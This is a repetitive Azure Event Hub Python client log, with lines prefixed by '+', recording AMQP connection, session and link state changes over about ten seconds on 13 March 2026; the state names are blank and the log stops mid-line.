+2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:35,963 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,197 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,306 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:36,307 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,307 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:36,360 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,410 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,460 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:36,511 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,511 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:36,561 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,561 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:36,767 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,821 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,932 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:36,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,157 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:37,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,264 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:37,265 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,265 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:37,265 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,265 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:37,317 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,368 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,418 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:37,469 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,469 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:37,519 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,519 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:37,724 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,777 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,888 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:37,889 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:37,889 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:37,889 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,110 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:38,211 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,211 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,211 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,211 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:38,212 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,212 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:38,212 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,212 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:38,261 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,311 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,362 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:38,412 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,412 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:38,463 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,463 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:38,665 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,715 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,824 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,824 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,824 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:38,825 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,059 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:39,175 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,175 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,175 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,175 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:39,176 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,176 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:39,176 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,176 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:39,233 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,283 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,333 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:39,384 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,384 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:39,434 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,434 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:39,643 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,702 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:39,815 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:39,816 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,046 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:40,155 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,156 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:40,209 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,259 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,310 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:40,360 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,360 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:40,411 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,411 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:40,616 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,671 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,783 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:40,784 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,025 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,143 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:41,144 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,144 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:41,201 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,252 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,302 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:41,353 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,353 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:41,403 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,403 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:41,614 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,673 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:41,790 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,034 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:42,150 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,151 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:42,208 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,259 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,309 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:42,360 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,360 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:42,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,410 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:42,620 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,679 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,794 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,794 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,794 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:42,795 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,026 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:43,136 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,136 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,136 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,136 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:43,136 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,137 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:43,137 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,137 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:43,190 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,240 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,291 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:43,341 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,341 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:43,392 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,392 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:43,597 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,652 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:43,764 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:43,990 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,109 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:44,162 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,212 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,262 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:44,313 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,313 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:44,363 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,363 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:44,568 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,621 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,733 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:44,734 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:44,948 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:18:45,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,049 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:45,050 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,050 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:45,050 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,050 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:45,099 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,150 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:18:45,200 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:18:45,250 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,250 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:45,301 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,301 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:18:45,503 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,553 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,663 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,663 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:18:45,663 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:18:45,663 [azure.eventhub._pyamqp.link] 